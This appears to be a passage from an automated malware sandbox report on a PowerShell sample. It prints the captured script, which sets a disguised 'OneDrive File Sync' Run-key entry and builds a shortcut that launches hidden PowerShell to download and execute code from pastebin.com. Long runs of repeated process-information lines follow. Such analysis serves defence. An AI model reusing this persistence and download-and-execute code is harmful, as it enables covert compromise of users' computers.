0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,39,0,115,0,97,0,108
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDrive File Sync" -Value '"C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"' -PropertyType String -Forcemkdir "C:\ProgramData\Microsoft OneDrive\FileSync";$savedbytes = (76,0,0,0,1,20,2,0,0,0,0,0,192,0,0,0,0,0,0,70,171,0,8,0,32,0,0,0,124,37,104,27,210,97,216,1,203,131,156,28,20,3,219,1,124,37,104,27,210,97,216,1,0,16,1,0,0,0,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,69,1,20,0,31,80,224,79,208,32,234,58,105,16,162,216,8,0,43,48,48,157,25,0,47,67,58,92,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,86,0,49,0,0,0,0,0,23,89,186,133,48,0,87,105,110,100,111,119,115,0,64,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,246,25,0,0,0,0,2,0,0,0,0,0,12,1,0,0,0,0,0,0,0,0,46,238,28,1,87,0,105,0,110,0,100,0,111,0,119,0,115,0,0,0,22,0,90,0,49,0,0,0,0,0,36,89,104,183,16,0,83,121,115,116,101,109,51,50,0,0,66,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,76,95,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,208,173,33,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,0,0,24,0,102,0,50,0,0,16,1,0,167,84,130,42,32,0,102,111,114,102,105,108,101,115,46,101,120,101,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,0,0,0,85,0,0,0,24,0,0,0,3,0,0,0,96,56,18,250,16,0,0,0,87,105,110,100,111,119,115,0,67,58,92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,102,111,114,102,105,108,101,115,46,101,120,101,0,0,38,0,46,0,46,0,92,0,46,0,46,0,92,0,46,0,46,0,92,0,87,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,92,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,215,0,47,0,112,0,32,0,99,0,58,0,92,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,115,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,32,0,47,0,109,0,32,0,110,0,111,0,116,0,101,0,112,0,97,0,100,0,46,0,101,0,120,0,101,0,32,0,47,0,99,0,32,0,34,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,46,0,101,0,120,0,101,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,32,0,45,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,116,0,121,0,108,0,101,0,32,0,104,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,39,0,115,0,97,0,108,0,32,0,102,0,97,0,116,0,98,0,97,0,107,0,101,0,32,0,99,0,97,0,108,0,99,0,59,0,115,0,97,0,108,0,32,0,99,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,0,97,0,115,0,116,0,101,0,98,0,105,0,110,0,46,0,99,0,111,0,109,
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: .lnk" -Forcesleep 5$googoogaagaa = "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"if (-Not (Test-Path $googoogaagaa)) {rm $env:tmp\onedrivefilesync.dll -forceNew-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDrive File Sync" -Value '"C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"' -PropertyType String -Forcemkdir "C:\ProgramData\Microsoft OneDrive\FileSync";$savedbytes = (76,0,0,0,1,20,2,0,0,0,0,0,192,0,0,0,0,0,0,70,171,0,8,0,32,0,0,0,124,37,104,27,210,97,216,1,203,131,156,28,20,3,219,1,124,37,104,27,210,97,216,1,0,16,1,0,0,0,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,69,1,20,0,31,80,224,79,208,32,234,58,105,16,162,216,8,0,43,48,48,157,25,0,47,67,58,92,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,86,0,49,0,0,0,0,0,23,89,186,133,48,0,87,105,110,100,111,119,115,0,64,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,246,25,0,0,0,0,2,0,0,0,0,0,12,1,0,0,0,0,0,0,0,0,46,238,28,1,87,0,105,0,110,0,100,0,111,0,119,0,115,0,0,0,22,0,90,0,49,0,0,0,0,0,36,89,104,183,16,0,83,121,115,116,101,109,51,50,0,0,66,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,76,95,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,208,173,33,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,0,0,24,0,102,0,50,0,0,16,1,0,167,84,130,42,32,0,102,111,114,102,105,108,101,115,46,101,120,101,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,0,0,0,85,0,0,0,24,0,0,0,3,0,0,0,96,56,18,250,16,0,0,0,87,105,110,100,111,119,115,0,67,58,92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,102,111,114,102,105,108,101,115,46,101,120,101,0,0,38,0,46,0,46,0,92,0,46,0,46,0,92,0,46,0,46,0,92,0,87,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,92,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,215,0,47,0,112,0,32,0,99,0,58,0,92,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,115,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,32,0,47,0,109,0,32,0,110,0,111,0,116,0,101,0,112,0,97,0,100,0,46,0,101,0,120,0,101,0,32,0,47,0,99,0,32,0,34,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,46,0,101,0,120,0,101,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,32,0,45,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,116,0,121,0,108,0,101,0,32,0,104,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,39,0,115,0,97,0,108,0,32,0,102,0,97,0,116,0,98,0,97,0,107,0,101,0,32,0,99,0,97,0,108,0,99,0,59,0,115,0,97,0,108,0,32,0,99,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,0,97,0,115,0,116,0,101,0,98,0,105,0,110,0,46,0,99,0,111,0,109,

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Tries to open files direct via NTFS file id

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: NULL			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: NULL			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
